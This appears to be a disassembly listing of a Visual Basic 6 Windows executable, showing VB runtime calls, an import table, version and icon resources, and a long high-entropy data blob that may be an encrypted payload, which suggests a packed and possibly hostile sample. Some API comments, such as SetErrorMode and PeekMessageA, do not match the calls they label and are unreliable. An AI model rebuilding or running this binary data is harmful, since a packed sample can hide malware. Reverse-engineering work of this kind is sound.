		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011B8
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	[ebp-18h], esi
		mov	eax, [ebp+8]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+8]
		mov	eax, [ebp+14h]
		mov	cx, [ebp-18h]
		mov	[eax], cx
		mov	eax, [ebp-4]
		mov	ecx, [ebp-14h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 90h
		dd 3 dup(90909090h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 70h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011C0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-58h], esi
		mov	[ebp-78h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	4028B4h
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-28h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	ebx, [ebp-64h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		lea	eax, [ebp-18h]
		push	1
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	offset sub_4028EC
		push	ecx
		mov	[edx+4], ebx
		mov	[ebp-70h], esi
		mov	dword ptr [ebp-78h], 800Bh
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-48h]
		mov	edi, eax
		call	dword ptr ds:loc_40100C
		cmp	di, si
		jz	short loc_4114EC
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	offset sub_402908
		mov	[edx], ecx
		lea	ecx, [ebp-28h]
		push	ecx
		mov	[edx+4], ebx
		mov	[edx+8], eax
		mov	eax, [ebp-5Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-38h]
		call	dword ptr ds:loc_401006+2

loc_4114EC:				; CODE XREF: .data:004114ACj
		push	404921h
		jmp	short loc_411507
; ---------------------------------------------------------------------------
		db 8Dh
		dd 4D8DA845h, 6A5150B8h, 1C15FF02h, 83004010h
		db 0C4h, 0Ch, 0C3h
; ---------------------------------------------------------------------------

loc_411507:				; CODE XREF: .data:004114F1j
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0B4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset sub_4011D0
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		mov	edi, dword ptr ds:loc_4010CF+1
		lea	ecx, [ebp-4Ch]
		mov	[ebp-24h], esi
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		mov	[ebp-4Ch], esi
		mov	[ebp-5Ch], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-8Ch], esi
		call	edi	; PeekMessageA
		mov	edx, [ebp+10h]
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		push	esi
		lea	edx, [ebp-5Ch]
		push	4028B4h
		push	edx
		call	dword ptr ds:loc_40109A+2
		lea	eax, [ebp-5Ch]
		lea	ecx, [ebp-34h]
		push	eax
		push	ecx
		call	dword ptr ds:loc_4010EA+2
		mov	edi, [ebp-78h]
		sub	esp, 10h
		mov	edx, esp
		mov	ecx, 4008h
		mov	ebx, [ebp-70h]
		lea	eax, [ebp-4Ch]
		mov	[edx], ecx
		push	1
		push	offset sub_4028EC
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[ebp-84h], esi
		mov	dword ptr [ebp-8Ch], 800Bh
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		lea	edx, [ebp-8Ch]
		push	eax
		push	edx
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-5Ch]
		mov	[ebp-0C0h], eax
		call	dword ptr ds:loc_40100C
		cmp	[ebp-0C0h], si
		jz	short loc_411670
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-4Ch]
		push	1
		push	offset sub_402908
		mov	[edx], ecx
		lea	ecx, [ebp-5Ch]
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		push	ecx
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		mov	edx, eax
		lea	ecx, [ebp-48h]
		call	dword ptr ds:loc_401006+2

loc_411670:				; CODE XREF: .data:00411633j
		mov	edx, [ebp-4Ch]
		push	edx
		push	402928h
		call	dword ptr ds:loc_401026+2
		mov	edx, 0Bh
		sub	esp, 10h
		mov	[ebp-8Ch], edx
		mov	[ebp-0ACh], edx
		mov	edx, esp
		mov	ecx, 8
		mov	[ebp-5Ch], ecx
		mov	[ebp-54h], eax
		mov	[edx], ecx
		mov	ecx, [ebp-58h]
		sub	esp, 10h
		mov	dword ptr [ebp-84h], 0FFFFFFFFh
		mov	[edx+4], ecx
		mov	ecx, esp
		sub	esp, 10h
		mov	[edx+8], eax
		mov	eax, [ebp-50h]
		mov	[edx+0Ch], eax
		mov	edx, [ebp-8Ch]
		mov	eax, [ebp-88h]
		mov	[ecx], edx
		mov	edx, [ebp-84h]
		mov	[ecx+4], eax
		mov	eax, [ebp-80h]
		mov	[ecx+8], edx
		mov	edx, [ebp-0ACh]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp-0A8h]
		mov	ecx, esp
		push	3
		push	402940h
		mov	[ecx], edx
		mov	edx, [ebp-0A0h]
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], eax
		lea	eax, [ebp-34h]
		push	eax
		mov	[ecx+0Ch], edx
		lea	ecx, [ebp-6Ch]
		push	ecx
		call	dword ptr ds:loc_4010FC
		add	esp, 40h
		lea	edx, [ebp-24h]
		push	eax
		push	edx
		call	dword ptr ds:loc_4010EA+2
		lea	ecx, [ebp-5Ch]
		call	dword ptr ds:loc_40100C
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-38h]
		push	1
		push	402960h
		mov	[edx], ecx
		mov	[edx+4], edi
		mov	[edx+8], eax
		lea	eax, [ebp-24h]
		push	eax
		mov	[edx+0Ch], ebx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 1Ch
		lea	ecx, [ebp-24h]
		push	esi
		push	ecx
		call	dword ptr ds:loc_401100
		push	404BAFh
		jmp	short loc_411789
; ---------------------------------------------------------------------------
		db 8Dh,	55h, 94h
		dd 52A4458Dh, 0FF026A50h, 40101C15h, 0CC48300h
		db 0C3h
; ---------------------------------------------------------------------------

loc_411789:				; CODE XREF: .data:00411773j
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-24h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-34h]
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_401118
		lea	ecx, [ebp-38h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-48h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-4Ch]
		call	edi	; PeekMessageA
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B500845h, 851FF08h,	8BFC458Bh, 5E5FEC4Dh, 0D8964h
		dd 5B000000h, 0C25DE58Bh, 9090000Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 4011E0h
		xor	esi, esi
		mov	[ebp-4], esi
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		mov	edx, [ebp+0Ch]
		lea	ecx, [ebp-18h]
		mov	[ebp-18h], esi
		mov	[ebp-28h], esi
		mov	[ebp-38h], esi
		mov	[ebp-48h], esi
		call	dword ptr ds:loc_4010CF+1
		push	esi
		lea	edx, [ebp-48h]
		push	4028B4h
		push	edx
		call	dword ptr ds:loc_40109A+2
		mov	edi, dword ptr ds:loc_4010EA+2
		lea	eax, [ebp-48h]
		lea	ecx, [ebp-38h]
		push	eax
		push	ecx
		call	edi	; PeekMessageA
		sub	esp, 10h
		mov	ecx, 4008h
		mov	edx, esp
		lea	eax, [ebp-18h]
		push	1
		push	402974h
		mov	[edx], ecx
		mov	ecx, [ebp-54h]
		mov	[edx+4], ecx
		lea	ecx, [ebp-38h]
		push	ecx
		mov	[edx+8], eax
		mov	eax, [ebp-4Ch]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-48h]
		push	edx
		call	dword ptr ds:loc_4010FC
		add	esp, 20h
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	edi	; PeekMessageA
		push	esi
		lea	ecx, [ebp-28h]
		push	402984h
		push	ecx
		call	dword ptr ds:loc_40106E+2
		push	eax
		call	dword ptr ds:loc_4010EF+1
		add	esp, 0Ch
		push	404CC1h
		jmp	short loc_4118A7
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 0B8h
		dd 100C15FFh
		db 40h,	0, 0C3h
; ---------------------------------------------------------------------------

loc_4118A7:				; CODE XREF: .data:0041189Bj
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_401118
		mov	esi, dword ptr ds:loc_40100C
		lea	ecx, [ebp-28h]
		call	esi	; SetErrorMode
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	45h, 8
		dd 0FF108B50h, 458B0852h, 0EC4D8BFCh, 89645E5Fh, 0Dh, 0E58B5B00h
		dd 8C25Dh, 9E9E9E9Eh, 4D0Ch, 2 dup(0FFFFFFFFh),	4E30h
		dd 1000h, 5 dup(0)
		dd 4E3Eh, 4E48h, 4E56h,	4E66h, 4E76h, 4E86h, 4E98h, 4EA8h
		dd 4EBCh, 4ECCh, 4EDAh,	4EE8h, 4F00h, 4F10h, 4F24h, 4F32h
		dd 4F42h, 4F54h, 4F66h,	4F7Ah, 80000278h, 4F84h, 4F92h
		dd 4FA4h, 4FB8h, 4FC6h,	4FD6h, 4FE8h, 4FF4h, 5002h, 5010h
		dd 5024h, 80000258h, 503Ah, 5044h, 5060h, 800002C7h, 5076h
		dd 5084h, 800002CCh, 5096h, 50AAh, 50BCh, 50CAh, 80000285h
		dd 50D8h, 50E2h, 50F8h,	5108h, 80000288h, 5118h, 512Ah
		dd 513Ch, 800002A9h, 514Ch, 5160h, 5172h, 800002ADh, 80000064h
		dd 5180h, 5192h, 51A6h,	51B4h, 51C4h, 51DCh, 51F4h, 51FEh
		dd 520Eh, 5218h, 5222h,	522Ch, 523Ch, 0
aMsvbvm60_dll_0	db 'MSVBVM60.DLL',0
		align 10h
a_cicos		db '_CIcos',0
		align 4
		dd 615F0000h, 665F6A64h, 6E617470h, 0
a__vbavarmove_0	db '__vbaVarMove',0
		align 4
a__vbafreevar_0	db '__vbaFreeVar',0
		align 4
a__vbaarymove_0	db '__vbaAryMove',0
		align 4
a__vbastrvarm_0	db '__vbaStrVarMove',0
		dd 5F5F0000h, 4C616276h, 73426E65h, 7274h, 5F5F0000h, 46616276h
		dd 56656572h, 694C7261h, 7473h,	615F0000h, 665F6A64h, 5F766964h
		dd 34366Dh, 615F0000h, 665F6A64h, 6D657270h, 31h, 62765F5Fh
		dd 72745361h, 746143h, 5F5F0000h, 48616276h, 75736572h
		dd 6843746Ch, 4F6B6365h, 6A62h,	615F0000h, 665F6A64h, 5F766964h
		dd 32336Dh, 5F5F0000h, 41616276h, 65447972h, 75727473h
		dd 7463h, 5F5F0000h, 4F616276h,	65536A62h, 74h,	62765F5Fh
		dd 456E4F61h, 726F7272h, 0
a_adj_fdiv_m16i	db '_adj_fdiv_m16i',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 36316D5Fh, 69h, 62765F5Fh
		dd 72615661h, 65646E49h, 616F4C78h, 64h, 7349435Fh, 6E69h
		dd 5F5F0000h, 43616276h, 74736B68h, 6Bh, 62765F5Fh, 6C694661h
		dd 6F6C4365h, 6573h, 56450000h,	5F544E45h, 4B4E4953h, 6464415Fh
		dd 666552h, 5F5F0000h, 53616276h, 6D437274h, 70h, 62765F5Fh
		dd 72615661h, 45747354h, 71h, 62765F5Fh, 74755061h, 656E774Fh
		dd 3372h, 5F5F0000h, 49616276h,	344932h, 5F5F0000h, 4F616276h
		dd 61566A62h, 72h, 6A64615Fh, 6170665Fh, 6E6174h, 5F5F0000h
		dd 4C616276h, 49657461h, 6C614364h, 644C6Ch, 56450000h
		dd 5F544E45h, 4B4E4953h, 6C65525Fh, 65736165h, 0
a_cisqrt	db '_CIsqrt',0
		dd 56450000h, 5F544E45h, 4B4E4953h, 6575515Fh, 6E497972h
		dd 66726574h, 656361h, 5F5F0000h, 45616276h, 70656378h
		dd 6E614874h, 72656C64h, 0
a_adj_fprem	db '_adj_fprem',0
		align 4
		dd 615F0000h, 665F6A64h, 72766964h, 34366D5Fh, 0
a__vbafpexcepti	db '__vbaFPException',0
		align 4
a__vbastrvarv_0	db '__vbaStrVarVal',0
		align 4
		dd 5F5F0000h, 56616276h, 61437261h, 74h, 62765F5Fh, 56324961h
		dd 7261h, 435F0000h, 676F6C49h,	0
a__vbaerrorov_0	db '__vbaErrorOverflow',0
		align 4
		dd 5F5F0000h, 46616276h, 4F656C69h, 6E6570h, 5F5F0000h
		dd 56616276h, 56327261h, 6365h,	615F0000h, 665F6A64h, 5F766964h
		dd 6932336Dh, 0
a_adj_fdivr_m32	db '_adj_fdivr_m32i',0
		dd 5F5F0000h, 53616276h, 6F437274h, 7970h, 5F5F0000h, 46616276h
		dd 53656572h, 694C7274h, 7473h,	615F0000h, 665F6A64h, 72766964h
		dd 32336D5Fh, 0
a_adj_fdiv_r	db '_adj_fdiv_r',0
		dd 5F5F0000h, 56616276h, 65537261h, 72615674h, 0
a__vbalatemem_0	db '__vbaLateMemCall',0
		align 4
a__vbavardup_0	db '__vbaVarDup',0
		dd 5F5F0000h, 56616276h, 6F437261h, 7970h, 5F5F0000h, 56616276h
		dd 614C7261h, 654D6574h, 6C61436Dh, 644C6Ch, 5F5F0000h
		dd 56616276h, 65537261h, 6A624F74h, 72646441h, 6665h, 435F0000h
		dd 61746149h, 6Eh, 62765F5Fh, 72745361h, 65766F4Dh, 0
a_allmul	db '_allmul',0
		dd 435F0000h, 6E617449h, 0
a_ciexp		db '_CIexp',0
		align 4
		dd 5F5F0000h, 46616276h, 53656572h, 7274h, 5F5F0000h, 46616276h
		dd 4F656572h, 6A62h, 76Eh dup(0)
		dd 469462FDh, 54h, 30000h, 3, 80000058h, 0Eh, 80000040h
		dd 10h,	80000028h, 0
		dd 469462FDh, 54h, 10000h, 1, 80000080h, 0
		dd 469462FDh, 54h, 10000h, 1, 80000098h, 0
		dd 469462FDh, 54h, 30000h, 7531h, 800000E0h, 7532h, 800000C8h
		dd 7533h, 800000B0h, 0
		dd 469462FDh, 54h, 10000h, 409h, 0F8h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 108h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 118h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 128h, 0
		dd 469462FDh, 54h, 10000h, 0
		dd 138h, 7150h,	1ECh, 4B0h, 0
		dd 733Ch, 30h, 4B0h, 0
		dd 736Ch, 128h,	4B0h, 0
		dd 7494h, 2E8h,	4B0h, 0
		dd 777Ch, 130h,	4B0h, 3	dup(0)
		dd 3401ECh, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 2 dup(10000h), 0
		dd 10000h, 3 dup(0)
		dd 4, 1, 3 dup(0)
		dd 44h,	560000h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h
		dd 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 14Ch, 530001h, 720074h, 6E0069h, 460067h
		dd 6C0069h, 490065h, 66006Eh, 6Fh, 128h, 300001h, 300034h
		dd 300039h, 420034h, 30h, 140034h, 500001h, 6F0072h, 750064h
		dd 740063h, 61004Eh, 65006Dh, 0
aT20070711_0:
		unicode	0, <T20070711>,0
		unicode	0, <,>
		dw 0Ah
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a1_00:
		unicode	0, <1.00>,0
		align 4
a0:
		unicode	0, <0>
		dw 0Ah
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0031h, 300030h, 0
		dd 180038h, 490001h, 74006Eh, 720065h, 61006Eh,	4E006Ch
		dd 6D0061h, 65h, 300062h, 460036h, 550064h, 310065h, 380030h
		dd 33h,	200048h, 4F0001h, 690072h, 690067h, 61006Eh, 46006Ch
		dd 6C0069h, 6E0065h, 6D0061h, 65h, 300062h, 460036h, 550064h
		dd 310065h, 380030h, 2E0033h, 780065h, 65h, 10000h, 20200003h
		dd 10002h, 1300001h, 75310000h,	102020h, 40001h, 2E8h
		dd 10107532h, 10010h, 1280004h,	75330000h, 28h,	10h, 20h
		dd 40001h, 0
		dd 0C0h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 7 dup(0)
		dd 77F008h, 0FF080000h,	7077F0FFh, 0FFFF0F00h, 70F0FFh
		dd 0FFFF0F00h, 0F0FFh, 0FFFF0F00h, 0F0FFh, 0FFFF0F00h
		dd 80h,	800F00h, 0E00Eh, 0EE0E0000h, 0E0h, 0E00E00h, 9 dup(0)
		dd 2 dup(0FFFFh), 8FFFh, 3F8h, 1C0h, 7C0h, 5 dup(0FC0h)
		dd 7FC0h, 0FFC7h, 3 dup(0FFFFh), 28h, 20h, 40h,	40001h
		dd 0
		dd 280h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 1Ah dup(0)
		dd 7FF8F00h, 70h, 0
		dd 8F000000h, 7FFFFFFh,	7077h, 0
		dd 0FFFFFF08h, 7FFFFFFh, 707777h, 0FF000000h, 0FFFFFFFFh
		dd 7FFFFFFh, 7077h, 0FF000000h,	0FFFFFFFFh, 7FFFFFFh, 70h
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 0FFFFFFh, 0
		dd 0FF000000h, 0FFFFFFFFh, 8888FFh, 0
		dd 0FF000000h, 88FFFFFFh, 88h, 0
		dd 0FF000000h, 8888FFh,	0EEEE00h, 0
		dd 88000000h, 0EE000088h, 0EEh,	2 dup(0)
		dd 0EEEE00h, 2 dup(0)
		dd 0EE000000h, 0EEh, 22h dup(0)
		dd 5 dup(0FFFFFFFFh), 0FFC1FFFFh, 7F00FCFFh, 1F0080FFh
		dd 70000F8h, 1F0000F8h,	7F0000F8h, 0Bh dup(0FF0100F8h)
		dd 0FF3F00F8h, 0FFFF03F8h, 0FFFF3FF8h, 0FFFFFFFBh, 6 dup(0FFFFFFFFh)
		dd 28h,	20h, 40h, 10001h, 0
		dd 100h, 5 dup(0)
		dd 0FFFFFFh, 5 dup(0FFFFFFFFh),	0FFC1FFFFh, 7F3CFCFFh
		dd 1FFCC3FFh, 7FC3FF8h,	1FFCFFFBh, 7FFCFFFBh, 8	dup(0FFFDFFFBh)
		dd 0FFC1FFFBh, 0FF3DFCFBh, 0FFC1C3FBh, 0FF3F3CF8h, 0FFFFC3FBh
		dd 0FFFF3FF8h, 0FFFFFFFBh, 0Bh dup(0FFFFFFFFh),	0FFC1FFFFh
		dd 7F00FCFFh, 1F00C0FFh, 70000F8h, 1F0000F8h, 7F0000F8h
		dd 0Bh dup(0FF0100F8h),	0FF3F00F8h, 0FFFF03F8h,	0FFFF3FF8h
		dd 0FFFFFFFBh, 6 dup(0FFFFFFFFh), 1D5h dup(0)
off_414C00	dd offset off_414C00	; DATA XREF: sub_402EBD+9Dw
					; .data:off_414C00o
off_414C04	dd offset dword_40CC00	; DATA XREF: sub_402EBD+95w
off_414C08	dd offset dword_40CC00	; DATA XREF: sub_402EBD+90w
		align 10h
dword_414C10	dd 10h dup(0)		; DATA XREF: sub_402BAB+52o
dword_414C50	dd 1ABF4h		; DATA XREF: sub_402BAB+36r
					; sub_402C37+10Fr ...
		align 8
dword_414C58	dd 780F7DEDh, 0EF75C754h, 604190ACh, 0D9230919h, 62230638h
					; DATA XREF: sub_402EBD:loc_402F7Ao
					; sub_402EBD:loc_4030A4o
		dd 84FFCB12h, 6300804h,	2C5A416Bh, 0AEC2D19h, 583184ADh
		dd 5695ED08h, 7BD690B2h, 0C8C72057h, 0E8E01F28h, 6C5D7AE6h
		dd 4EB8AA43h, 25E3E4E2h, 7CB6E26Ah, 2255AE2Dh, 15207237h
		dd 959E53CDh, 0B57A0A67h, 696BCAFAh, 0C3A83F2Ah, 4A33CAF7h
		dd 0EFDF7B2Dh, 0EEF7B99Ch, 7E1095DDh, 0F7DA7F2Fh, 39CB3B7Dh
		dd 99EE6677h, 0CE673399h, 4773F99Ch, 61DB7B83h,	91084D31h
		dd 8546880Ah, 39D215E8h, 0D11D8DC5h, 72785ECEh,	0F33138B6h
		dd 1D7A8B67h, 545B3FE5h, 73546819h, 86D6A182h, 9CEEED50h
		dd 9696DABAh, 2ECE70D6h, 0D6D42725h, 92D8D392h,	4B79B253h
		dd 0BF56EECEh, 2DCB7792h, 791B16B3h, 7F57DEFCh,	0BE7FFEF5h
		dd 265DFBF4h, 7AFB5E94h, 0FCF14FD7h, 0F26FD5CEh, 5F57F3F3h
		dd 634567E5h, 9BDE805Dh, 425C7B65h, 89A63B94h, 0D91D764Fh
		dd 105DC660h, 1D9B8E19h, 8112F1D3h, 0FAF7191Ch,	0C04CA05Ch
		dd 9956A34Eh, 75F54C32h, 0D766F518h, 5FBBE329h,	23852217h
		dd 0F5AD2532h, 2EEC1EB4h, 4B910B96h, 6F10A09Eh,	0DB5F89A4h
		dd 2C18A6E5h, 8EC590A3h, 85E5D3EBh, 9E30F695h, 860DEBE5h
		dd 0C98C093Ch, 0F3CCEFAAh, 0E16B86D7h, 0D4659F4Fh, 0CC4192DDh
		dd 79FD1A41h, 27543521h, 0D043A8Ch, 3A04E0BAh, 0E7CDEA67h
		dd 0DC62F65Dh, 57D6AA5Bh, 0E7E457B9h, 8B979495h, 0A4BA4BA4h
		dd 4BA4BA4Bh, 0BA4BA4BAh, 0A4BA4BA4h, 0FBA4BA4Bh, 77A6EF0Fh
		dd 7CCFABD5h, 4F79A8AAh, 0FFE5A835h, 0BFF55EB3h, 7FBEA753h
		dd 0D4D6A28Bh, 4277EA28h, 6BEAEA0Dh, 27CEFA8Ah,	0E11ABA8Ah
		dd 0D5F9AFCBh, 0D4523F0Fh, 5FB9FD1Fh, 0AFD57C6Dh, 51447AEEh
		dd 0E7FBC79Fh, 0BC7514C7h, 68B6AFD7h, 0FABFEAF5h, 0BAA9B515h
		dd 0C6B6BD5Eh, 0B5791EAFh, 55F69D4Eh, 0DDD15D45h, 2B97E6A0h
		dd 8AD9C9EAh, 0EC7908BAh, 0DE8A7941h, 0EF0F7EA0h, 0A7567EBBh
		dd 0BD6AFDCEh, 5EBE9FFAh, 0A35B1EA7h, 0EA844FA8h, 0A31F99D5h
		dd 0FFD9E43Ch, 0D2DD5F8Ah, 1BFEA0D6h, 0A4F759F8h, 0BD62FEA2h
		dd 0D9BD3EA2h, 3C00FEAFh, 758FF87Fh, 0F95757EAh, 1A6B05D5h
		dd 0F5AE5FD4h, 0C7C127ABh, 5D99A449h, 0DEC7A8ABh, 0D93FABF5h
		dd 221FA8A9h, 0A5FFDEEEh, 0FA2E4BA8h, 0D5857DD5h, 0F81FD16Ah
		dd 1A17B1D5h, 0D2D15D4h, 3BEA18EAh, 0DF506918h,	5F9C3D41h
		dd 82AF57A9h, 2A3FF77Eh, 0F2F069EAh, 0F515CFD2h, 0E0F7C238h
		dd 19A7299Dh, 5CCC4D22h, 803514E3h, 0AF0A0039h,	2F8A722Eh
		dd 0C915D603h, 0A73AD0F0h, 29DEBE98h, 8F79E3CEh, 96AF12C8h
		dd 18FC538h, 0BB912EDFh, 4E39C129h, 57ECCB41h, 0C06DF341h
		dd 1BFF002Fh, 53B17B70h, 22CD04CCh, 0ED06ABC0h,	2E6A5034h
		dd 25D178A7h, 0A70819C3h, 2B14EA3Fh, 0E017300h,	0A8FFBF84h
		dd 2972F72Ch, 0F14E659Eh, 0DC32A5AFh, 3429D1B2h, 1946DB40h
		dd 53B95AFEh, 0DF00F7Ch, 950BF440h, 605F8499h, 27633AFCh
		dd 67C67CE3h, 0BE30E718h, 0F184B8C0h, 0C641E308h, 8CC38CDDh
		dd 0CC5E308Fh, 39E25538h, 0B3FB0584h, 0FD827FD8h, 320F8CE5h
		dd 74F8E4CEh, 0C838C949h, 8F1857F1h, 0F18D7E33h, 8CBDC665h
		dd 31E78C3Dh, 93BC666Eh, 67C671F1h, 0FC645F19h,	8C35E306h
		dd 0CE5E334Fh, 0E32B78h, 0FDC63EE3h, 0C3C61F92h, 77187B8Ch
		dd 78C63E32h, 6329718Ch, 0C674E33Fh, 661F1957h,	0BE78C69Ch
		dd 55A35CC4h, 72976FECh, 0FC739C90h, 95CFEC03h,	886638A9h
		dd 0B78C5DFDh, 78C7DE33h, 99503814h, 57A314EDh,	4737B4A2h
		dd 37B6DF2Eh, 376FF7F7h, 0B6FF7A3Eh, 6D7F142Fh,	0A5BFE049h
		dd 279D6E44h, 48F36963h, 7B392909h, 57F2BB03h, 94FBF06Ch
		dd 0CB55FC82h, 0A2B36344h, 60E8DBD0h, 0F3BC7081h, 0F85D7F37h
		dd 0E711D2DDh, 1BBC8F81h, 0CBFF6F2Bh, 78EC1FCEh, 0FD2F2FF0h
		dd 0BEEE7DF5h, 0DFFCFF33h, 0FCE5F89Fh, 0FF9BD5DEh, 0EBD7D968h
		dd 56F39DDFh, 0D8BEF8BAh, 9F2BDEF9h, 349C90C5h,	6C49BB19h
		dd 2EED0D68h, 4C38B710h, 0B10E1DDFh, 2A8DDC5Eh,	519B1744h
		dd 0D70A279h, 0B3071F68h, 0F10AB7A5h, 1B10BA6Ch, 0D41D45A6h
		dd 0ACAC90DDh, 88170945h, 8A7B1668h, 0E6EACDC3h, 5D4A4D5Dh
		dd 0B0A3CD58h, 0FD7CB078h, 941AB14Ch, 0DF978A8Bh, 5FE9FD4Ah
		dd 0E97849A6h, 852A7FE5h, 20643345h, 3A26C6B7h,	0A1F72Ah
		dd 228F5628h, 95253471h, 324512E9h, 0D7C3CA59h,	635CFAA9h
		dd 5CCAEEBFh, 0B0CDA0A7h, 8B85F5AAh, 2FBC2CAEh,	0B8B9E68Eh
		dd 33312CD0h, 76BFB6D5h, 2577043Bh, 0A360369Fh,	0EF70669h
		dd 0FDA03EFCh, 15FF3449h, 0BBC81BC0h, 8083E11Dh, 74DF6917h
		dd 0EDEC3E12h, 3F34B95Dh, 0CAFE657Fh, 68F88282h, 0ABE641E1h
